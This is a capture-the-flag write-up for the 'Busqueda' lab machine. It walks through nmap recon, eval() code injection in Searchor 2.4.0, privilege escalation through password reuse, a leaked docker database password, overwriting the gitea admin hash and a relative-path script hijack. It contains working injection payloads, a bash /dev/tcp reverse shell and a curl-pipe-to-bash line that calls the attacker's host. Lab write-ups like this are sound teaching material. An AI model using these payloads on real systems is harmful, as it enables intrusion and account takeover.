Busqueda

User flag

Initial nmap:

$ nmap -sC -sV 10.10.11.208                                                                                                                                                                                     
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-09 14:02 CDT
Nmap scan report for 10.10.11.208
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.96 seconds

This machine has a website at http://searcher.htb, so add that to /etc/hosts.

Looking at the webpage shows that it is used to generate search queries for other sites.

Sending a single quote (') as input to the search bar results in a blank page as output, indicating there is some vulnerability there, but I had no luck attempting sql injection.

The bottom of the page mentions that it is powered by Searchor 2.4.0, so I went to the github for that project and saw that the current version is 2.5.2 . The previous releases show that a vulnerability was patched after 2.4.0. See https://github.com/ArjunSharda/Searchor/pull/130/commits/29d5b1f28d29d6a282a5e860d456fab2df24a16b for the patch.

This software is using eval() in order to create the url, which is unsafe and we can exploit by crafting input.

The first thing I did was test that the input was vulnerable by starting a webserver on my machine and sending this as the query:

', copy_url='123', open_web=eval('__import__("os").system("wget 10.10.16.27:8080")')) #

I received the web request, which showed that the input was vulnerable to command injection.

I then created a file named rev.sh with the following contents:

/bin/bash -i >& /dev/tcp/10.10.16.27/4444 0>&1

Then used it to get a reverse shell with this input:

', copy_url='123', open_web=eval('__import__("os").system("curl 10.10.16.9:8000/rev.sh | /bin/bash")')) #

This gave me shell access as the user svc, and I was able to get the user flag.

Root flag

Looking around within the /var/www/app directory showed that there was a .git folder containing interesting files

This shows that there is a gitea instance on this server, and the credentials for a user named cody. There is no linux user with that name, but it turns out that svc's password is the same, meaning we can use sudo -l

The gitea instance (http://gitea.searcher.htb) doesn't show anything interesting, just the webapp that we've already got access to

The system-checkup.py script shows that we can run a few docker commands.

We are unable to read the script, so it's not clear at this point whether it's vulnerable. One thing to note is that I got errors when attempting to run the full-checkup

But using the docker-inspect lets us see the mysql root password:

We can then log into the database using:

mysql -h 127.0.0.1 -u root -p

Looking through the database revealed the password hash for the gitea administrator. Considering that the passwords I've seen so far have been random, I decided to copy the password I did know to the administrator rather than brute force the hash. I used the following to do so:

UPDATE gitea.user u1 JOIN gitea.user u2 ON u2.name = 'cody' SET u1.passwd = u2.passwd WHERE u1.name = 'administrator'
UPDATE gitea.user u1 JOIN gitea.user u2 ON u2.name = 'cody' SET u1.rands = u2.rands WHERE u1.name = 'administrator'
UPDATE gitea.user u1 JOIN gitea.user u2 ON u2.name = 'cody' SET u1.salt = u2.salt WHERE u1.name = 'administrator'

I was then able to log into the administrator account on gitea and see the code for the scripts I wasn't able to read before.

Looking through the code for system-checkup.py, I found this snippet, which runs any script called full-checkup.sh that's in the directory I call the python script from:

I then created a script to get the flag and named it full-checkup.sh:

#!/bin/sh
/usr/bin/cat /root/root.txt

I marked it as executable and ran sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup to get the root flag